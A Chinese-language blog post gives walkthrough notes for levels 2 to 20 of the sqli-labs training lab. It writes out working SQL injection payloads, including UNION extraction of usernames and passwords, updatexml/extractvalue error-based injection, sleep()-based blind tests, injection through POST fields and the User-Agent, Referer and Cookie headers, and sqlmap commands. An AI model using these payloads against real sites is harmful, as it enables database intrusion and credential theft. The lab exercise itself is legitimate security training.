Sql-labs 前 20 关 通过笔记

  • Post author:
  • Post category:其他



第二关(可updatexml报错回显)get)

?id=0 union select 1,2,database()

?id=0 union select group_concat(table_name) from information_schema.tables where table_schema=’security’

?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘security’

?id=0 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)



第三关(可updatexml报错回显)get)

?id=1 and 1=1

?id=1 and 1=2

发现一样,说明为字符型注入

?id=1′–+

发现报错,说明不是 ‘ 来封装的,尝试加上)

?id=1′) –+

不报错了!!

?id=0′) union select 1,database(),3 –+

出现security

?id=0′) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’ –+

出现 emails,referers,uagents,users

?id=0′) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’ –+

出现id,username,password


?id=0′) union select 1,group_concat(username),group_concat(password) from security.users–+

出现账号密码了



第四关(可updatexml报错回显)get)


?id=1 and 1=1

?id=1 and 1=2

发现一样,说明为字符型注入

?id=1’) order by 120 –+

页面正常,这显然不可能

改成

?id=1“) order by 120 –+

报错了,看来是 ” 号

?id=0“) union select 1,database(),3 –+

?id=0″) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’ –+

?id=0″) union select 1,group_concat(username),group_concat(password) from security.users–+



第五关(可updatexml报错回显)get)


输入?id=1′ order by 3–+

输入?id=1′ union select 1,2,3 –+

发现没有回显,为应该为逻辑盲注

用 sqlmap 跑

成功跑出!!



第六关(可updatexml报错回显)get)


?id=1″ order by 120 –+

出现错误,说明为 ” 闭合,但是没有回显

用 sqlmap 跑 !

成功跑出!!!



第八关get)


Length()函数 返回字符串的长度

Substr()截取字符串

Ascii()返回字符的ascii码

sleep(n)    将程序挂起一段时间 n为n秒

if(expr1,expr2,expr3)  判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

时间盲注(sqlmap直接跑)

如:(

?id=1′ and if(substr(database(),1,1)=’a’,sleep(7),sleep(1)) –+



第九关get)


时间盲注(sqlmap直接跑)



第十关(get)


时间盲注 (sqlmap直接跑)


第十一关(post)


随便写个账号密码,登录,发现下面有回显!

通过burp抓包,修改 name 处 为name=admin’ order by 2 –+,name=admin’ order by 3 –+

发现页面不一样,说明有注入

burp user 处,输入:

user=admin’ and 1=2 union select 1,database()

发现 回显了 security,接着懂得都懂

user=admin’ and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’security’–+

user=admin’ and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’–+

user=admin’ and 1=2 union select group_concat(username),group_concat(username) from security.users–+


第十二关(post)


随便写个账号密码,登录,发现下面有回显!

通过burp抓包,修改 name 处 为

uname=admin’ order by 120 –+,uname=admin’ order by 3 –+

发现没用,

修改

uname=admin‘) order by 120 –+,uname=admin‘) order by 3 –+

也没用,再试

终于,这样闭合就可以了

uname=admin“) order by 120 –+,uname=admin”) order by 3 –+

uname=admin”) and 1=2 union select 1,database()–+

发现 回显了 security,接着懂得都懂

uname=admin”) and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’security’ –+

uname=admin”) and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’–+

uname=admin”) and 1=2 union select group_concat(username),group_concat(username) from security.users –+



第十三关(post)


随便写个账号密码,登录,发现下面没有回显!

通过burp抓包,修改 uname 处 为

uname=admin’) order by 120 –+,uname=admin’) order by 3 –+

发现页面不一样,说明闭合成功

用 xpath 注入

uname=admin’) and updatexml(1,concat(0x5e,(substr((select database()),1)),0x5e),1) –+

发现报错,接着在database(),写入sql注入语句即可

uname=admin’) and updatexml(1,concat(0x5e,(substr((select group_concat(table_name) from information_schema.tables where table_schema=”security”),1)),0x5e),1) –+

uname=admin’) and updatexml(1,concat(0x5e,(substr((select group_concat(column_name) from information_schema.columns where table_schema=”security” and table_name=’users’),1)),0x5e),1) –+

uname=admin’) and updatexml(1,concat(0x5e,(substr((select group_concat(password,0x7e,username) from users),1)),0x5e),1) –+

修改 0x5e 之前 的数字 为 32,63,94,125,即可获得后续内容!!!


第十四关(post)


随便写个账号密码,登录,发现下面没有回显!

通过burp抓包,修改 uname 处 为

uname=admin” order by 1200–+

uname=admin” order by 1–+

发现页面不一样

说明 ” 为闭合

接下来

跟十三关一模一样


第十五关(post)


随便写个账号密码,登录,发现下面没有回显!

通过burp抓包,修改 uname 处 为

uname=admin” order by 1200–+

uname=admin” order by 1–+

发现页面一样

通过改变 闭合符号,试了一堆,没什么变化

于是,用 bool 方式 看看

uname=admin’ and 1=1 –+

uname=admin’ and 1=2 –+

发现页面一样

通过改变 闭合符号,试了一堆,没什么变化

最后试一下,时间延迟

uname=admin’ and sleep(8) –+

发现为时间盲注,闭合为 ‘ 直接sqlmap跑吧

先抓包,在吧内容弄成 xxx.txt

然后 放在sqlmap 目录

用 python sqlmap.py -r “xxx.txt” –current-db -batch

sqlmap -r “xxx.txt” –current-db –current-user -batch

其他sqlmap语句差不多。。


第十六关


跟 十五 关 几乎差不多

只不过 闭合 变成 “)

一样 抓包,用sqlmap 跑


第十七关


随便写个账号密码,登录,发现下面没有回显!

发现在 uname 用 and 1=1 ,order by ,sleep 判断闭合 ,都没什么用

于是在 passwd 试下

passwd=admin’ order by 1200 –+

passwd=admin’ order by 1 –+

发现出现页面不一样了

说明 passwd 出 可以用 ‘ 闭合,并且可以注入

没有回显只能用 报错,时间等注入试试

发现 用 passwd=admin’ sleep(6) –+ ,没有延迟,时间盲注可能没用

用 xpath 试一下

输入:passwd=admin’ and updatexml(1,concat(0x5e,(substr((select database()),1)),0x5e),1) –+

发现 出现报错回显 为 security

接下来就跟 第十三关 一样的 xpath 语句


第十八关


发现 一打开 ,有个ip的显示

抓包看看

发现 没有 ip 相关的,试着登录一下

发现 出现 user-argent 的显示

抓包在user-argent 修改试试

User-Agent:3′ –+

发现有回显3′ –+

输入 xpath 报错注入

试试

3′,updatexml(1,concat(0x5e,(substr((select database()),1)),0x5e),1) –+

3′,updatexml(1,concat(0x5e,(substr((select database()),1)),0x5e),1) #

发现这个用不了,于是用 etc payload

3′,extractvalue(1,concat(0x7e,(select database()),0x7e))) –+

3′,extractvalue(1,concat(0x7e,(select database()),0x7e))) #

发现成功爆出 security

3′,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=”security”),0x7e))) #

3′,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=”security” and table_name=”users”),0x7e))) #

3′,extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))) #

3′,extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))) #


第十九关

随便写个账号密码,登录,出现 Your Referer is: http://127.0.0.1/sqllab/Less-19/

很明显了,直接抓包,修改 Referer 处,应该是有注入的

直接用 十八关 payload:3′,extractvalue(1,concat(0x7e,(select database()),0x7e))) #

写在Referer 处,发现爆出



第二十关


随便写个账号密码,登录,发现页面爆出了cookie

很明显了,抓包,发现第一个包,没有cookie,直接丢了

看第二个包

发现有 cookie ,直接写入

updatexml(1,concat(0x5e,(substr((select database()),1)),0x5e),1) –+

发现爆出



版权声明:本文为weixin_45619494原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。